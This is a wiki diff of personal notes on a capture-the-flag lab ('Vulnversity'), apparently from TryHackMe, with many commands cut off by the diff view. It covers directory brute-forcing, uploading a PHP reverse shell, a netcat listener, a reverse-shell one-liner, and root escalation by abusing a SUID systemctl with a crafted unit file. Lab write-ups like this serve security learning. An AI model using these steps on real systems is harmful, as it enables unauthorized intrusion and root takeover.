prac_app_tryhackme
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
prac_app_tryhackme [2022/09/24 18:28] – gman | prac_app_tryhackme [2022/09/24 19:03] (current) – gman | ||
---|---|---|---|
Line 4: | Line 4: | ||
====== Vulnversity ====== | ====== Vulnversity ====== | ||
+ | |||
+ | Write-Ups: [[https:// | ||
===== Port/ | ===== Port/ | ||
- | Mine: '' | + | Mine: |
- | [[https:// | + | < |
+ | |||
+ | [[https:// | ||
+ | |||
+ | < | ||
===== GoBuster (dirs) ===== | ===== GoBuster (dirs) ===== | ||
- | brute-force directories & files, DNS subdomains, and virtual host names. | + | Brute-force directories & files, DNS subdomains, and virtual host names. |
+ | |||
+ | < | ||
+ | apt-get install gobuster | ||
+ | wordlists under / | ||
+ | Syntax: gobuster dir -u http://< | ||
+ | -e Print the full URLs in your console | ||
+ | -u The target URL | ||
+ | -w Path to your wordlist | ||
+ | -U and -P | ||
+ | -p < | ||
+ | -c <http cookies> Specify a cookie for simulating your auth | ||
+ | </ | ||
+ | |||
+ | [[https:// | ||
+ | |||
+ | < | ||
+ | |||
+ | ===== Burp: Intruder ===== | ||
+ | |||
+ | **Burp Suite Intruder:** Fuzz the ''/ | ||
+ | |||
+ | [[https:// | ||
+ | * I did that... and it didn't work. | ||
+ | |||
+ | ===== Reverse Shell ===== | ||
+ | |||
+ | Obtain an exploit reverse shell to upload: [[https:// | ||
+ | |||
+ | * You have to rename it .phtml to upload it. | ||
+ | * Upload it. | ||
+ | * Start a listener on your attack machine: | ||
+ | |||
+ | < | ||
+ | nc -lvnp 1234 | ||
+ | |||
+ | # -l listener | ||
+ | # -v verbose | ||
+ | # -n numeric-only IPs, no DNS | ||
+ | # -p port (local port number) | ||
+ | </ | ||
+ | |||
+ | * Then execute the .phtml file on the target machine: | ||
+ | |||
+ | < | ||
+ | |||
+ | ===== Privilege Escalation ===== | ||
+ | |||
+ | [[https:// | ||
+ | |||
+ | < | ||
+ | find / -perm /4000 -type f -exec ls -ld {} \; 2>/ | ||
+ | |||
+ | # -l long listing format | ||
+ | # -d list directory names, not contents | ||
+ | </ | ||
+ | |||
+ | **Or use PEASS:** [[https:// | ||
+ | * [[https:// | ||
+ | * [[https:// | ||
+ | |||
+ | **Discovered Vulnerability: | ||
+ | |||
+ | ===== Exploit ===== | ||
+ | |||
+ | [[https:// | ||
+ | |||
+ | * First we create a variable which holds a unique file (on target machine). | ||
+ | |||
+ | < | ||
+ | |||
+ | * Then we create an unit file and write it into the variable. Inside the unit file we enter a command that will let the shell execute the command '' | ||
+ | |||
+ | < | ||
+ | echo ' | ||
+ | > ExecStart=/ | ||
+ | > [Install] | ||
+ | > WantedBy=multi-user.target' | ||
+ | </ | ||
+ | |||
+ | * And finally we use the / | ||
+ | |||
+ | < | ||
+ | / | ||
+ | # Created symlink from / | ||
+ | |||
+ | / | ||
+ | # Created symlink from / | ||
+ | </ | ||
+ | |||
+ | * Find it: | ||
+ | |||
+ | < | ||
+ | |||
+ | ===== Alternative Exploit ===== | ||
+ | |||
+ | **To get a reverse root shell:** | ||
+ | |||
+ | **NOTE:** the target machine is using netcat OpenBSD, NOT the traditional netcat. That means the -e (execute) flag will not work. See **Netcat (Traditional)** and **Netcat (OpenBSD)" | ||
+ | |||
+ | < | ||
+ | # nc (openbsd): | ||
+ | rm / | ||
+ | </ | ||
+ | |||
+ | * Create your unit file: | ||
+ | |||
+ | < | ||
+ | echo ' | ||
+ | Type=oneshot | ||
+ | ExecStart=/ | ||
+ | [Install] | ||
+ | WantedBy=multi-user.target' | ||
+ | </ | ||
+ | |||
+ | * Open a listener on your attack machine: | ||
+ | |||
+ | < | ||
+ | |||
+ | * Link and start the service: | ||
+ | |||
+ | < | ||
+ | / | ||
+ | / | ||
+ | </ | ||
+ | |||
+ | Done. | ||
+ | ---- | ||
prac_app_tryhackme.1664044092.txt.gz · Last modified: by gman